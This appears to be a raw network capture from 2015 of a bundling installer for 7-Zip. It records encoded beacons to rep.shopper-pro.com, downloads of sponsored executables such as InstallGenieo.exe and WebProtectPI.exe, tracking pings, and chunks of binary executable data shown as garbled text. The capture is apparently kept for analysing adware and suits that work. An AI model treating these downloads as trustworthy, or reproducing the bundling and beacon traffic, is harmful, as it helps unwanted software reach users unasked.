M...I.-.......Z..2!cW...[....P..x.D.fn..Tj....)gSWd..x.z...Zd.Y,.l*..y
n...ec.....}.. ...;..... >S..d...x..q.2.8...d<j...2.........3...
...w.8.x.....w....5y..1..w..h..i...jFU...O.s......1...$..J..!.X...TW..
.8....%.!.:.......iU..q9r......1.bZ.h...dV.. .\U.?...:.J........Z..K..
..K].M.U.=..1..X......r.B.p...8....w......VM..fz)....K.q...Mj..k....E.
k...OE..H....r"r....Kf[.uif..l.Y.U.R=....s.9>.O.f Td*.'.=.f.,.H...B
s.LGRQo..m](..d.H....v......e..6m.&..S..e...C...3...E...C.....j..R8P..
7....)....3..gP,..l.Z.V.B..F.p._.......d.../T..G.l........JH(1R.......
}(....>....}.n........... Pa.(.Kks.F...]F...4...3....%i.}x[.Ja.IY.G
.r...S'K..-.%\[email protected]..@CM.~..b..0....k........m....zk.x..
tb.;)[email protected].."...?.Xp...o....`[email protected]<..l.[`...I."1.N.h
1W....v.v....n....^..v(&..`.....9z.I8..!"......=.U#Z..."....*....j.&..
..O..\90?.wDl..n.r.(k.7.A2.22Y..a.:.cw"$.8:*xRX_O...O.<.i.xc.].n0A.
.(F..*K~3.?..VA(.8J.N.A=..N.Y.d*'.L.0.N&.0......PJ.5..d..f....9&....2.
...uL...;h.j....2.`Pe..<.mKo.....I%H.~...;....0.%[.2.o...H...*....I
.0..4.B.V...}f...............][email protected]$....b.........?.~....7.
\.!n.X3P.-..............g.$./\.FO ..L.\....N5.T...... ..Bh.....WOj..v.
....r....O........q... .y4U.`..<.E...ni.......c...T.u...v-HB.....u.
TCW..Y.. ..Fz..._...;.J.......V.R.J qW}n. ...........eq....h......}TM.
.......E.....-.P..K.@/....t.d.n.......wYw..U....&>,.32@\]r.........
,....H..Gx..k...q....N}~p#.....}.....U&.t..........7..~.{w...>.<<< skipped >>>

GET /app/ping.ashx?e=/k6kR j50tq2T48fwpLktEXC18i8H/ZSaYCkA61OJkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUkUvubeDU93VIs0AEv1kh1DKJj24mv8XjnS5StnPX94HWqnaKp4YBMQKbj6MCmwnBSXucwID4 7GffcvnyDlV  HiFEfu5p8IyO1Xs1dCcHMkC1fv30UfvLsGQSKKEX4MKBMt6GmkIFntLFSggbgl2i/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgp4Yvmw1YuoPQOGdJX7Ys4OCi0N7aB6YG6hHY oh5wmy9pSoWtDn2v0LZyn40Iw2XqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215yWtRYQP8BPk7xJ9pwygS8wv5UC4LikkOT CD kKuNDTDTW9UekgQ6xO8SsEd1vQGPfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:34 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib g9KDdEq/ZU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS2cR8EkzWoCFaau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:35 GMT..Content-Length: 0......

GET /app/ping.ashx?e=/k6kR j50tq2T48fwpLktEXC18i8H/ZSaYCkA61OJkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUiiQud1Q24EcqWLfaltpxWxEermBzJsSMI64eKLyvxa894khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib g9KDdEq/ZU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS1ge4KEdZJgeaau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoYUad3QpOh3uU8/inQ0dV1y6KJfGT/oeAyr6Se9TnnMMjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV6WXm8RRHiPpDvoN39ZYYoAGlB3rlXyCF0YO/4St1QYDocEh1ssDf3ThcpBOQbZaysAeXrDcfXn1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzXI0A0MEgFsCHTtH8CUDzbT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo5KZ41CPq3IASdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/fWQ10mKav51A8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=QgW8pN5r26bof2QYjF1uPyGZf5tV7NUi56XqnYmheUgSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lQycnGOnYW3FW0VIswI6GNPXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCPlIFwve8uU r3mRAuGMAAM9 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1EXC18i8H/ZSkEv4eEwUcGvZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUhZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnJa1FhA/wE TvEn2nDKBLzC/lQLguKSQ5P4IP6Qq40NMNNb1R6SBDrHvotX5mTYu/9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:36 GMT..Content-Length: 0......

GET /app/ping.ashx?e=fx25sIC5hWOfZNC1TqAoBJengxtxU5B2TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fYXOWigz0aHloM9C2BoWbdEkyeawv50oOJw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/ea83RtHqGthw8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:39 GMT

Content-Length: 0

....

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:56 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=123551-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: IIBnEqAf47pUDpW xkLkvEYNvigZF23GWanjsVxLPysnd LJSAG2/TSyPx7df/Ms

x-amz-request-id: FC1D451FA2AF18B8

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 123551-988407/988408

Content-Type: application/octet-stream

Content-Length: 864857

Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Yoe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..
3M.d..}1....}.X;[..f?o.h..W...[N..Q.P.JI...fc...E..bkhW.;&.f..........
AY.p...t.....3UP.^-'G..7.e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX
.......[Tz1.k..n.QD.....>F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL....
..8.;h.w.g...Q.{q..B..f4.O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O
...[)(.lA.zC...b}..P.S.X..o....Z..0.....Y.$....mu..C...J..p....I.s~z..
Kr...Y..c:....Y..a.....z%. 7L...8t^..w..d..df...Yt...9.......Ru...<<< skipped >>>

GET /b/WebProtectPI.exe?s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:06 GMT

Content-Type: application/octet-stream

Content-Length: 130038

Last-Modified: Mon, 13 Apr 2015 09:47:23 GMT

Connection: keep-alive

ETag: "552b90ab-1fbf6"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.P...............................................s.......@............
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=370653-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: cjSglHrjEMMz5s9ZmeRJd0L17QxgBBEGl896BQVsVPAO9eZLq5KrbR6YHKWR2HIc

x-amz-request-id: 9209F230F78AE8A9

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 370653-988407/988408

Content-Type: application/octet-stream

Content-Length: 617755

Server: AmazonS3
.......F....T2Y..B..U7...r....yR.5e..v.l.....a:{r.Ju.$..F}R..7Ul.4...N
i]H"x.O.....7..<...._*.;.....}U.).@k?jCE.4C.6|..{E.......1..t.^.<
;..F..z..>[email protected]&.e.......7u.(.q.1....=jm...e....- .......S>.
E.:.Qk..../l..n.J....R..^s... Q72.....Z.....X..IK.D}.. ..1?r~.. ..O..y
...y.7..\.h.Q..w..E...I-._....[.....K.jG.....q.5.*?...R\.f....u..P.?.i
.>l.9`..g..Q...p.f....k.m)...dK..N..).P.............w....!.......e.
.`.:...n..Bp2.jr...td.....~....wi-.P..?j8.j,.....].....K.<H...n....
.2.?".?.....4...QR...<R......c.\....._.%..v.dg.N. ...e.Xe.,&7,MY...
:,e.Z...,% .\.hK.....Y....^T. . ....<.A4.....6.(._x>........V...
...Sx.M.b)5)....Q.....V(..,..<t2.v.b..H.C...K......f];...a.R..14...
#Y..u.Aj....8<...... (.....l.DsaM#..$[_.IM|.WK.[%..[u?~...4.n.%..a.
...."...h/..i...`M.../...............X.\F.q.......;#....f....x.h."....
m..3nK.Jp(k..8.1.../.r.|...(.....#.,.....&%0.y..,......)..5.~.,...V...
;d.Vu...H.4G.#l....gL.j...y..?o...>I..)...g...H.!.;}/.Z..5.j...5...
..uR.......PM{....=...O..hDI...=H.6.PL..a6.!uz(.A........T.w...../..X.
.`\.x.7.'........>[email protected]
.@.^r#U.F...qv..D...j..%....8......r.%...K.....v$...i.t.....c.E......o
1e.Z>."..._4.UM$Keg..D...F...:.-1.ak.........-..|Y..A.#].g3...7..4.
.....Z..-.Q..yS._.uL.nK.e.M..Y"...p0OX...s2$w1....y.....06.)...(..C...
\.gX..>.h&..-.q&1....C..lI..>.W..T.J..MS..l.u.m81.R2..03R..3.<
;.....=X.........m.$wNp(3....D2.5.i..D4E.G..Z..?....eO.R.e......(l.Y..
. .....PE..!.|[email protected]..[XY.dz.;.u....U..r.... a<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 22 Apr 2015 08:23:42 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.72 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 22 Apr 201
5 08:23:42 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.72 ms","message":"store 1 act
ion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 22 Apr 2015 08:23:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.90 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 22 Apr 201
5 08:23:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.90 ms","message":"store 1 act
ion and 0 update "}..0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&0.9285006302180865 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.1.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:22:07 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:22:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:27 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

4a..{"stats":"ok","time":"246.55 ms","message":"store 4 action and 5 u
pdate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 
2015 08:23:27 GMT..Content-Type: text/html; charset=utf-8..Transfer-En
coding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-a
pi-version: v4..4a..{"stats":"ok","time":"246.55 ms","message":"store 
4 action and 5 update "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Da
te: Wed, 22 Apr 2015 08:23:28 GMT..Content-Type: text/html; charset=ut
f-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By:
 PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.61 ms","me
ssage":"store 1 action and 0 update "}..0..

GET /app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoRVZ6ImNImI0nDgs7q5vmXmt09Lyj4wnx81JAAFQCEiFa5OEmrbJtlEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQ3QYJFiW2TpHdRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmasp WEd17ItGHySmeDQikgk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive

GET /app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoRVZ6ImNImI0iEXGWpB/Vxx9JRgDraC5 HXDt2EFtCwM92BbgGggTYM0aMVVjAOEb9CVjDgQJnQuEXaK01lzwi9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCPlIFwve8uU uLmf6eHphUt9 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:35 GMT..Content-Length: 0......

GET /app/ping.ashx?e=d/UISSlWdlNFwtfIvB/2UrFcLkSXvd1y2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrTnlytR4CrxDFFm1YMIsTVjzrWD8RXm8mzk9iL2 2UlKtponuive24bONeuBglAqx2OvgjCTQ5zWCA ceWLS1kKWny/cm1KhfpYVIHBu2Qb3eKkVyT2Ds/uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF9Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5WlojqF5wm2r6yMtUYb9dqX32KOEog NNy6LA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=aL/yzOcQGPlyNANDBIBbAsFixO YD1r6 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5ReNgjp9TKQKu7pSUDvM6KOSmeNQj6tyAHbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7Dma 7wZb2cPQo3Gv nP8wmYBlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzXI0A0MEgFsCHTtH8CUDzbT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo5KZ41CPq3IASdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF9Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5WlojqF5wm2r6yMeA0Jt4uzXIKOEog NNy6LA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:36 GMT..Content-Length: 0..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=160792-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1125537

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:18:06 GMT

Content-Range: bytes 160792-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 9391ad8b6b37ce57524439873a355ed0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Rt8YBCOeA-RyyjrgDZ3z7kz2x8K2Rt4P5TRu7jN5_JyJ8Z-WIf0djA==
......'oS.l.g......*. .=.....8..;....#.?U... .i....=..{}...z..N..8s2.u
[email protected]}..j..bP.&.k.Z%...0..T...SG.9....w.........U..d[3XR. 
.1.......... I...T.H'..F,4........j..y.7F..~eF^Lt...........a...q.,.|.
..M3.]....).......FT.^..k.Ad...0MVn;.R....7W;~..,....8..e..umjZ..o.jfK
